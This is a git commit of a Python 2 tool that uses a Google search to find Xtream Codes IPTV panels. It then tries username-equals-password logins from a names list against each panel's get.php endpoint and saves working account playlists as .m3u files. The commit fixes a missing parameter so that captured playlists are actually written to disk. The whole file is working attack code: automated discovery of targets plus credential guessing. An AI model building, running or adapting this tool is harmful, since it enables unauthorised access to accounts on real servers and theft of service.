<commit_before>import urllib2
import google
import time
import pyprind
import os
from urlparse import urlparse
from clint.textui import colored
from sys import argv as s
from itertools import (takewhile,repeat)

"""Crawler
Class that handles the crawling process that fetch accounts on illegal IPTVs
@author: <NAME> (@ludo237)
@revision: Pinperepette (@Pinperepette)
"""
class Crawler(object):
    outputDir = "output"
    basicString = "/get.php?username=%s&password=%s&type=m3u&output=mpegts"
    searchString = "Xtream Codes v1.0.59.5"

    """Default constructor
    Language parameter allows us to understand what kind of names file we need to use
    """
    def __init__(self, language = "it"):
        self.language = language.lower()
        self.parsedUrls = list()
        self.foundedAccounts = 0

    """Search Links
    Print the first 30 links from a Google search
    We set the limit of 30 links because this script serve as demonstration and it's
    not intended to be use for personal purpose.

    The URLs will be printed on terminal screen without saving.
    """
    def search_links(self):
        print colored.green("Fetching URLs plase wait...")
        # 30 results and stop at the first page
        for url in google.search(self.searchString, num=30, stop=1):
            parsed = urlparse(url)
            print parsed.scheme + "://" + parsed.netloc
        print colored.green("Done, 30 URLs founded")

    """Search Accounts
    This is the core method. It will crawl the give url for any possible accounts
    If we found any we will create a new directory under /output with the name
    of the site plus every account as five .m3u. Please use VLC for opening that
    kind of files
    """
    def search_accounts(self, url):
        try:
            fileName = "names/" + self.language + ".txt"
            fileLength = self.file_length(fileName)
            progressBar = pyprind.ProgBar(fileLength, title = "Fetching accunts on URL: " + url + " this might take a while.", stream = 1, monitor = True)
            foundedAccounts = 0
            with open(fileName) as f:
                rows = f.readlines()
            for row in rows:
                # Do the injection to the current url using the exploit that we know
                request = urllib2.Request(url + self.basicString % (row.rstrip().lstrip(), row.rstrip().lstrip()))
                response = urllib2.urlopen(request)
                fetched = response.read()
                # Update the progress bar in order to give to the user a nice
                # way to indicate the time left
                fileLength = fileLength - 1
                progressBar.update()
                # IF the fetched content is not empty
                # we build the dedicated .m3u file
                if len(fetched) > 0:
                    newPath = self.outputDir + "/" + url.replace("http://", "")
                    self.create_file(row, newPath)
        except IOError:
            print colored.red("Cannot open the current Language file. Try another one")
        except urllib2.HTTPError, e:
            print colored.red("Ops, HTTPError exception here. Cannot fetch the current URL " + str(e.code))
        except urllib2.URLError, e:
            print colored.red("Ops, the URL seems broken." + str(e.reason))
        except Exception:
            print colored.red("Damn an error occurred during the process")
        finally:
            if foundedAccounts != 0:
                print colored.green("Search done, account founded on " + url + ": " + str(foundedAccounts))
            else:
                print colored.red("No results for " + url)

    """Create File
    Once the parse founds something worth it, we need to create the .m3u file
    to do so we except a newPath and the current row used from names file
    """
    def create_file(self, row, newPath):
        if os.path.exists(newPath) is False:
            os.makedirs(newPath)
        outputFile = open(str(newPath) + "/tv_channels_%s.m3u" % row.rstrip().lstrip(), "w")
        outputFile.write(fetched)<commit_msg>Fixed miss parameter<commit_after>import urllib2
import google
import time
import pyprind
import os
from urlparse import urlparse
from clint.textui import colored
from itertools import takewhile,repeat

"""Crawler
Class that handles the crawling process that fetch accounts on illegal IPTVs
@author: <NAME> (@ludo237)
@revision: Pinperepette (@Pinperepette)
"""
class Crawler(object):
    outputDir = "output"
    basicString = "/get.php?username=%s&password=%s&type=m3u&output=mpegts"
    searchString = "Xtream Codes v1.0.59.5"

    """Default constructor
    Language parameter allows us to understand what kind of names file we need to use
    """
    def __init__(self, language = "it"):
        self.language = language.lower()
        self.parsedUrls = list()
        self.foundedAccounts = 0

    """Search Links
    Print the first 30 links from a Google search
    We set the limit of 30 links because this script serve as demonstration and it's
    not intended to be use for personal purpose.

    The URLs will be printed on terminal screen without saving.
    """
    def search_links(self):
        print colored.green("Fetching URLs plase wait...")
        # 30 results and stop at the first page
        for url in google.search(self.searchString, num=30, stop=1):
            parsed = urlparse(url)
            print parsed.scheme + "://" + parsed.netloc
        print colored.green("Done, 30 URLs founded")

    """Search Accounts
    This is the core method. It will crawl the give url for any possible accounts
    If we found any we will create a new directory under /output with the name
    of the site plus every account as five .m3u. Please use VLC for opening that
    kind of files
    """
    def search_accounts(self, url):
        try:
            fileName = "names/" + self.language + ".txt"
            fileLength = self.file_length(fileName)
            progressBar = pyprind.ProgBar(fileLength, title = "Fetching accunts on URL: " + url + " this might take a while.", stream = 1, monitor = True)
            foundedAccounts = 0
            with open(fileName) as f:
                rows = f.readlines()
            for row in rows:
                # Do the injection to the current url using the exploit that we know
                request = urllib2.Request(url + self.basicString % (row.rstrip().lstrip(), row.rstrip().lstrip()))
                response = urllib2.urlopen(request)
                fetched = response.read()
                # Update the progress bar in order to give to the user a nice
                # way to indicate the time left
                fileLength = fileLength - 1
                progressBar.update()
                # IF the fetched content is not empty
                # we build the dedicated .m3u file
                if len(fetched) > 0:
                    newPath = self.outputDir + "/" + url.replace("http://", "")
                    self.create_file(row, newPath, fetched)
        except IOError:
            print colored.red("Cannot open the current Language file. Try another one")
        except urllib2.HTTPError, e:
            print colored.red("Ops, HTTPError exception here. Cannot fetch the current URL " + str(e.code))
        except urllib2.URLError, e:
            print colored.red("Ops, the URL seems broken." + str(e.reason))
        except Exception:
            print colored.red("Damn an error occurred during the process")
        finally:
            if foundedAccounts != 0:
                print colored.green("Search done, account founded on " + url + ": " + str(foundedAccounts))
            else:
                print colored.red("No results for " + url)

    """Create File
    Once the parse founds something worth it, we need to create the .m3u file
    to do so we except a newPath and the current row used from names file and also
    the content from the fetched response
    """
    def create_file(self, row, newPath, fetched):
        if os.path.exists(newPath) is False:
            os.makedirs(newPath)
        outputFile = open(str(newPath) + "/tv_channels_%s.m3u" % row.rstrip().lstrip(), "w")
        outputFile.write(fetched)
{'fraction_non_alphanumeric': 0.08689320388349514, 'fraction_numerical': 0.00849514563106796, 'mean_word_length': 2.3030060120240483, 'pattern_counts': {'":': 4, '<': 5, '<?xml version=': 0, '>': 7, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 2, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2705847', 'n_tokens_mistral': 2297, 'n_tokens_neox': 2207, 'n_words': 855}